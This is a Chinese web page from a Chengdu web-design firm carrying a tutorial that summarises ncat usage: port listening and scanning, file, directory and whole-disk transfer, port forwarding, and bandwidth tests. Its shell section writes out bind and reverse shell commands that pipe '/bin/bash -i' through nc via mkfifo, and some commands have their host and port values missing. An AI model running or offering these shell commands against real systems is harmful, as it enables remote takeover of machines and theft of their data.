网创优客建站品牌官网
为成都网站建设公司企业提供高品质网站建设
热线:028-86922220
成都专业网站建设公司

定制建站费用3500元

符合中小企业对网站设计、功能常规化式的企业展示型网站建设

成都品牌网站建设

品牌网站建设费用6000元

本套餐主要针对企业品牌型网站、中高端设计、前端互动体验...

成都商城网站建设

商城网站建设费用8000元

商城网站建设因基本功能的需求不同费用上面也有很大的差别...

成都微信网站建设

手机微信网站建站3000元

手机微信网站开发、微信官网、微信商城网站...

建站知识

当前位置:首页 > 建站知识

ncat使用汇总

这篇文章主要为大家详细介绍了ncat使用的方法,文中示例代码介绍的非常详细,图文详解容易学习,非常适合初学者入门

成都创新互联公司长期为上千多家客户提供的网站建设服务,团队从业经验10年,关注不同地域、不同群体,并针对不同对象提供差异化的产品和服务;打造开放共赢平台,与合作伙伴共同营造健康的互联网生态环境。为无锡企业提供专业的网站制作、网站设计无锡网站改版等技术服务。拥有十年丰富建站经验和众多成功案例,为您定制开发。

功能

1. 监听本地端口
2. 连接目标端口
3. 传送文件
4. Remote Administration with Netcat(OSCP中给的分类,不知道此分类的作用,需要深入学习)
5. 反弹shell
6. 测两台机器间的网速

监听本地端口

# 临时监听端口
nc -l  # 临时监听TCP端口一次
nc -lu  # 临时监听UDP端口

# 以监听TCP端口为例,监听UDP端口基本一样

服务器临时监听端口
ncat使用汇总
客户端尝试连接服务器端
ncat使用汇总
建立TCP连接
ncat使用汇总
客户端断开连接时,服务器端也关闭端口的监听
ncat使用汇总

nc -lk  #永久监听TCP端口
nc -lku  #永久监听UDP端口
# 永久监听:监听端口,并且客户端端来连接时,服务器端依旧监听等待连接;并且支持多客户端同时连接。UDP端口类似。

ncat使用汇总

连接目标端口

# 在监听部分可以找到连接的图,接下来重点操作一下端口扫描;nc扫描端口会创建TCP三次握手连接,会造成一定的流量,容易被发现。
nc    # 连接目标TCP端口
nc -u   # 连接目标UDP端口
# 使用上述命令连接tcp或UDP端口,连接成功后会阻塞在用户输入中,让用户与目标端口进行交互。此外还有一种非交互模式,适合用来扫描端口。
nc -z   #扫描目标TCP端口
nc -zu   # 扫描目标UDP端口
#  -w参数的适用场景:扫描UDP端口;网络状况不好。在网络状况良好是,扫描TCP端口没有必要使用此参数。
nc -z -w1   range

ncat使用汇总

ncat使用汇总

传送文件

此部分需要两台机器的配合

A机:数据存储机器
B机:备份机器

TCP传送文件

B: nc -l  > filename
A: nc   < filename

文件传送完成后,连接自动断开

ncat使用汇总

UDP传送文件

#B
nc -lu  > filename

#A
nc -u   < filename

# 文件传输完成后,连接不会断开,可反复连接B机进行文件传输。

# UDP更适合做一个日志接受端,其他的机器都把通过nc把日志写入到监听的UDP机器上

ncat使用汇总

ncat使用汇总
传送目录

# 传送目录与传送文件是一样的,只是通过tar将目录打包为压缩文件传过去并自定tar解包,实现传送目录的功能
#B
nc -l  | tar zxvf -

#A
tar zcf - * | nc  

传送分区

B: nc -l  | dd of=/dev/sda
A: dd if=/dev/sda | nc  

反弹shell

# nc有-e选项时

#server
nc -l  -e /bin/bash -i

#client
nc  
# nc没有-e选项时,创建正向shell

#server
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l  > /tmp/fifo

#client
nc  
# 创建反向shell(服务器端连接客户端,然后受客户端控制)
#client: 
nc  

#server: 
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc   > /tmp/fifo && rm -rf /tmp/fifo

端口转发

# server
nc -l 
mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost  | nc -l  > /tmp/fifo

# client
nc -n  

测机器间网速

A: nc -l  >/dev/null
B: nc   < /dev/zero

A、B:watch -n 1 "/sbin/ifconfig | grep bytes"

本文在介绍关于ncat使用的基础上,重点探讨了其具体步骤,本文内容紧凑,希望大家可以有所收获。如果想了解更多,欢迎关注创新互联行业资讯频道!


文章标题:ncat使用汇总
分享路径:http://bjjierui.cn/article/jdggoo.html

其他资讯